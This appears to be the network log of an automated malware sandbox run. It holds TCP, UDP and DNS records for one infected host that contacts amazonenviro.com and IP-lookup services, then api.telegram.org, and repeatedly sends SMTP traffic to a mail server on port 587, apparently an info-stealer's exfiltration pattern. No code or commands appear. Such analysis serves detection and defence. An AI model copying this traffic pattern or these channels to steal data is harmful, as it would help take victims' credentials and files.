                                                                                                                                                          Jan 7, 2025 13:25:39.909090996 CET4997480192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:39.913860083 CET8049974132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.014246941 CET44349968188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.016043901 CET49968443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.016064882 CET44349968188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.157871962 CET44349968188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.158056974 CET44349968188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.158119917 CET49968443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.158505917 CET49968443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.162889004 CET4996180192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:40.164549112 CET4997580192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:40.169337988 CET8049961132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.169395924 CET4996180192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:40.169471025 CET8049975132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.169533014 CET4997580192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:40.169658899 CET4997580192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:40.175919056 CET8049975132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.722276926 CET8049974132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.723649025 CET49981443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.723686934 CET44349981188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.723742008 CET49981443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.724020958 CET49981443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.724030018 CET44349981188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.772310972 CET4997480192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:40.973520041 CET8049975132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.974776983 CET49982443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.974826097 CET44349982188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:40.974919081 CET49982443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.975171089 CET49982443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:40.975183010 CET44349982188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.022372007 CET4997580192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.179389954 CET44349981188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.180973053 CET49981443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:41.180989027 CET44349981188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.317445993 CET44349981188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.317614079 CET44349981188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.318712950 CET49981443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:41.319221020 CET49981443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:41.352235079 CET4997480192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.353082895 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:41.353111029 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.353187084 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:41.353619099 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:41.353632927 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.357181072 CET8049974132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.357243061 CET4997480192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.428178072 CET44349982188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.430039883 CET49982443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:41.430073023 CET44349982188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.505356073 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:41.515434027 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.515649080 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:41.579601049 CET44349982188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.579675913 CET44349982188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.579873085 CET49982443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:41.580430984 CET49982443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:41.583842039 CET4997580192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.585706949 CET4999080192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.590523958 CET8049975132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.590662003 CET4997580192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.592364073 CET8049990132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.592540979 CET4999080192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.592750072 CET4999080192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:41.599252939 CET8049990132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.965075970 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.965322018 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:41.966845036 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:41.966862917 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.967128038 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.968565941 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:42.015326977 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.084903955 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.085587978 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.090377092 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.243477106 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.243674994 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.243771076 CET44349986149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.243871927 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.243892908 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:42.246143103 CET49986443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:42.248696089 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.391459942 CET8049990132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.392750978 CET49996443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:42.392784119 CET44349996188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.392863035 CET49996443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:42.393085003 CET49996443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:42.393098116 CET44349996188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.406136990 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.406461954 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.411259890 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.444180965 CET4999080192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:42.575987101 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.576006889 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.576020002 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.576030970 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.576041937 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.576066017 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.576098919 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.593221903 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.598028898 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.751749039 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.755976915 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.764978886 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.851432085 CET44349996188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.860289097 CET49996443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:42.860313892 CET44349996188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.931330919 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.963494062 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:42.968374968 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.997205973 CET44349996188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.997272968 CET44349996188.114.97.3192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:42.997478962 CET49996443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:42.997709990 CET49996443192.168.2.5188.114.97.3
                                                                                                                                                          Jan 7, 2025 13:25:43.028775930 CET4999080192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:43.029555082 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.029584885 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.029650927 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.030119896 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.030131102 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.033941984 CET8049990132.226.8.169192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.034024000 CET4999080192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:43.115632057 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.119878054 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:43.124706030 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.273032904 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.273294926 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:43.278103113 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.425537109 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.425821066 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:43.430588007 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.578298092 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.578664064 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:43.583467960 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.659643888 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.659713984 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.661066055 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.661072969 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.661336899 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.662725925 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.707321882 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.732212067 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.732503891 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:43.737334013 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.886168957 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.886610031 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:43.891463041 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.911689043 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.911768913 CET44350001149.154.167.220192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:43.911942959 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:43.914707899 CET50001443192.168.2.5149.154.167.220
                                                                                                                                                          Jan 7, 2025 13:25:44.050885916 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:44.053968906 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:44.054028988 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:44.054058075 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:44.054073095 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:44.059138060 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:44.060213089 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:44.208895922 CET58749989208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:44.256658077 CET49989587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:48.147670031 CET4988680192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:48.384509087 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:48.389286995 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:48.389507055 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:48.942564011 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:48.942774057 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:48.948213100 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.093192101 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.093908072 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.098764896 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.252965927 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.253396034 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.262150049 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.410372019 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.410386086 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.410398006 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.410407066 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.410418034 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.410552979 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.412780046 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.417578936 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.564126015 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.567982912 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.572778940 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.722359896 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.726325989 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.731738091 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.776406050 CET4990480192.168.2.5132.226.8.169
                                                                                                                                                          Jan 7, 2025 13:25:49.877177954 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.878231049 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.883085012 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.985805035 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:49.990636110 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:49.991403103 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.029015064 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.031599045 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.037205935 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.182100058 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.183453083 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.188293934 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.334090948 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.337513924 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.342322111 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.489819050 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.490155935 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.495795965 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.536334991 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.536638021 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.541465998 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.642431974 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.642735958 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.647576094 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.684482098 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.684700966 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.689450979 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.805680037 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.806489944 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.806595087 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.806670904 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.806670904 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.811409950 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.811743021 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.811754942 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.811764002 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.846302986 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:50.846932888 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:50.851735115 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.001688957 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.001701117 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.001710892 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.001720905 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.001733065 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.001846075 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.004494905 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.009233952 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.053534985 CET58750037208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.100486040 CET50037587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.154474020 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.157541990 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.164171934 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.305629015 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.307882071 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.313191891 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.456505060 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.458628893 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.474422932 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.618940115 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.619170904 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.624515057 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.767389059 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.767988920 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.772866964 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.918325901 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:51.918601990 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:51.923401117 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.068133116 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.068511009 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:52.073367119 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.218661070 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.218827009 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:52.223685026 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.380795002 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.381550074 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:52.381550074 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:52.381550074 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:52.381550074 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:25:52.386456013 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.386465073 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.386473894 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.386482954 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.638796091 CET58750048208.91.198.176192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:52.694210052 CET50048587192.168.2.5208.91.198.176
                                                                                                                                                          Jan 7, 2025 13:26:04.613267899 CET4971080192.168.2.5147.124.216.113

                                                                                                                                                          UDP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                          Jan 7, 2025 13:25:02.306466103 CET5613753192.168.2.51.1.1.1
                                                                                                                                                          Jan 7, 2025 13:25:02.317892075 CET53561371.1.1.1192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:09.719969034 CET6267753192.168.2.51.1.1.1
                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET53626771.1.1.1192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:18.312735081 CET5620753192.168.2.51.1.1.1
                                                                                                                                                          Jan 7, 2025 13:25:18.321296930 CET53562071.1.1.1192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:34.115472078 CET6549353192.168.2.51.1.1.1
                                                                                                                                                          Jan 7, 2025 13:25:34.122328043 CET53654931.1.1.1192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:41.218493938 CET5425453192.168.2.51.1.1.1
                                                                                                                                                          Jan 7, 2025 13:25:41.504635096 CET53542541.1.1.1192.168.2.5

                                                                                                                                                          DNS Queries

                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                          Jan 7, 2025 13:25:02.306466103 CET192.168.2.51.1.1.10xe9e5Standard query (0)amazonenviro.comA (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:09.719969034 CET192.168.2.51.1.1.10x3176Standard query (0)checkip.dyndns.orgA (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:18.312735081 CET192.168.2.51.1.1.10x2035Standard query (0)reallyfreegeoip.orgA (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:34.115472078 CET192.168.2.51.1.1.10xe09eStandard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:41.218493938 CET192.168.2.51.1.1.10x2756Standard query (0)mail.techniqueqatar.comA (IP address)IN (0x0001)false

                                                                                                                                                          DNS Answers

                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                          Jan 7, 2025 13:25:02.317892075 CET1.1.1.1192.168.2.50xe9e5No error (0)amazonenviro.com166.62.27.188A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET1.1.1.1192.168.2.50x3176No error (0)checkip.dyndns.orgcheckip.dyndns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET1.1.1.1192.168.2.50x3176No error (0)checkip.dyndns.com132.226.8.169A (IP address)IN (0x0001)false
